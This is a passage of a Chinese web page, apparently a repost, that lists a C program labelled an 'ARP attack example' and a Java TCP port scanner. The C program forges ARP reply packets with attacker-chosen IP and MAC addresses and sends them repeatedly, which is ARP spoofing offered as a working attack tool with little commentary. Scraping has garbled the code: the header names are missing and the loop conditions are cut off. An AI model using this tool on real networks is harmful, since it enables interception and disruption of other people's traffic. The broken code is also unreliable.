| 
                         2、. arp攻击实例 
- #include  
 -  #include  
 -  #include  
 -  #include  
 -  #include  
 -  #include  
 -  #include  
 -  /*#include */  
 -  #include  
 -  #include  
 -   
 -  #define ETH_HW_ADDR_LEN 6  
 -  #define IP_ADDR_LEN 4  
 -  #define ARP_FRAME_TYPE 0x0806  
 -  #define ETHER_HW_TYPE 1  
 -  #define IP_PROTO_TYPE 0x0800  
 -  #define OP_ARP_REQUEST 2  
 -   
 -  #define DEFAULT_DEVICE "eth0"  
 -   
 -  char usage[]={"send_arp: sends out custom ARP packet./n  
 -  /tusage:send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr times /n/n"};  
 -   
 -  struct arp_packet {  
 -  u_char targ_hw_addr[ETH_HW_ADDR_LEN];  
 -  u_char src_hw_addr[ETH_HW_ADDR_LEN];  
 -  u_short frame_type;  
 -  u_short hw_type;  
 -  u_short prot_type;  
 -  u_char hw_addr_size;  
 -  u_char prot_addr_size;  
 -  u_short op;  
 -  u_char sndr_hw_addr[ETH_HW_ADDR_LEN];  
 -  u_char sndr_ip_addr[IP_ADDR_LEN];  
 -  u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];  
 -  u_char rcpt_ip_addr[IP_ADDR_LEN];  
 -  u_char padding[18];  
 -  };  
 -   
 -  void die(char *);  
 -  void get_ip_addr(struct in_addr*,char*);  
 -  void get_hw_addr(char*,char*);  
 -   
 -  int main(int argc,char** argv){  
 -   
 -  struct in_addr src_in_addr,targ_in_addr;  
 -  struct arp_packet pkt;  
 -  struct sockaddr sa;  
 -  int sock;  
 -  int j,number;  
 -   
 -  if(argc != 6)die(usage);  
 -   
 -  sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));  
 -  if(sock<0){  
 -  perror("socket error!");  
 -  exit(1);  
 -  }  
 -   
 -  number = atoi(argv[5]);  
 -  pkt.frame_type = htons(ARP_FRAME_TYPE);  
 -  pkt.hw_type = htons(ETHER_HW_TYPE);  
 -  pkt.prot_type = htons(IP_PROTO_TYPE);  
 -  pkt.hw_addr_size = ETH_HW_ADDR_LEN;  
 -  pkt.prot_addr_size = IP_ADDR_LEN;  
 -  pkt.op=htons(OP_ARP_REQUEST);  
 -   
 -  get_hw_addr(pkt.targ_hw_addr,argv[4]);  
 -  get_hw_addr(pkt.rcpt_hw_addr,argv[4]);  
 -  get_hw_addr(pkt.src_hw_addr,argv[2]);  
 -  get_hw_addr(pkt.sndr_hw_addr,argv[2]);  
 -   
 -  get_ip_addr(&src_in_addr,argv[1]);  
 -  get_ip_addr(&targ_in_addr,argv[3]);  
 -   
 -  memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);  
 -  memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);  
 -   
 -  bzero(pkt.padding,18);  
 -   
 -  strcpy(sa.sa_data,DEFAULT_DEVICE);  
 -  for (j=0;j {  
 -  if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){  
 -  perror("sendto");  
 -  exit(1);  
 -  }  
 -  printf("now is sending the num: %i packet/n",j);  
 -  }  
 -  exit(0);  
 -  }  
 -   
 -  void die(char* str){  
 -  fprintf(stderr,"%s/n",str);  
 -  exit(1);  
 -  }  
 -   
 -  void get_ip_addr(struct in_addr* in_addr,char* str){  
 -   
 -  struct hostent *hostp;  
 -   
 -  in_addr->s_addr=inet_addr(str);  
 -  if(in_addr->s_addr == -1){  
 -  if( (hostp = gethostbyname(str)))  
 -  bcopy(hostp->h_addr,in_addr,hostp->h_length);  
 -  else {  
 -  fprintf(stderr,"send_arp: unknown host %s/n",str);  
 -  exit(1);  
 -  }  
 -  }  
 -  }  
 -   
 -  void get_hw_addr(char* buf,char* str){  
 -   
 -  int i;  
 -  char c,val;  
 -   
 -  for(i=0;i if( !(c = tolower(*str++))) die("Invalid hardware address");  
 -  if(isdigit(c)) val = c-'0';  
 -  else if(c >= 'a' && c <= 'f') val = c-'a'+10;  
 -  else die("Invalid hardware address");  
 -   
 -  *buf = val << 4;  
 -  if( !(c = tolower(*str++))) die("Invalid hardware address");  
 -  if(isdigit(c)) val = c-'0';  
 -  else if(c >= 'a' && c <= 'f') val = c-'a'+10;  
 -  else die("Invalid hardware address");  
 -   
 -  *buf++ |= val;  
 -   
 -  if(*str == ':')str++;  
 -  }  
 -  } 
 - 3、Socket类端口扫描器 
 -  
 - import java.net.*; 
 - import java.io.*; 
 - //端口扫描 
 - public class JPortScanner { 
 - private String host; //目标主机 
 - private int fromPort; //起始端口 
 - private int toPort; //结束端口 
 - public JPortScanner(String host, int fromPort, int toPort) { 
 - this.host = host; 
 - this.fromPort = fromPort; 
 - this.toPort = toPort; 
 - } 
 - public JPortScanner(String host) { 
 - this(host, 1, 1023); //默认端口范围: 1-1023 
 - } 
 - public void start() { 
 - Socket connect = null; 
 - for(int port=this.fromPort; port<=this.toPort; port++) { 
 - try { 
 - connect = new Socket(host, port); 
 - System.out.println("开放端口: " + port); 
 - } 
 - catch(UnknownHostException e) { 
 - System.err.println("无法识别主机: " + host); 
 - break; 
 - } 
 - catch(IOException e) { 
 - System.out.println("未响应端口: " + port); 
 - } 
 - finally { 
 - try { 
 - connect.close(); 
 - }catch(Exception e) {} 
 - } 
 - } 
 - } 
 - public static void main(String[] args) { 
 - if(args.length == 1) {//命令行参数指定主机 
 - (new JPortScanner(args[0])).start(); 
 - } 
 - else if(args.length == 3) {//命令行参数指定主机、起始端口和结束端口 
 - (new JPortScanner(args[0], 
 - Integer.parseInt(args[1]),Integer.parseInt(args[2]))).start(); 
 - } 
 - else { //命令格式 
 - System.out.println("Usage:java JPortScanner [FromPort] [ToPort]"); 
 - } 
 - } 
 - } 
 
                          (编辑:泰州站长网) 
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! 
                     |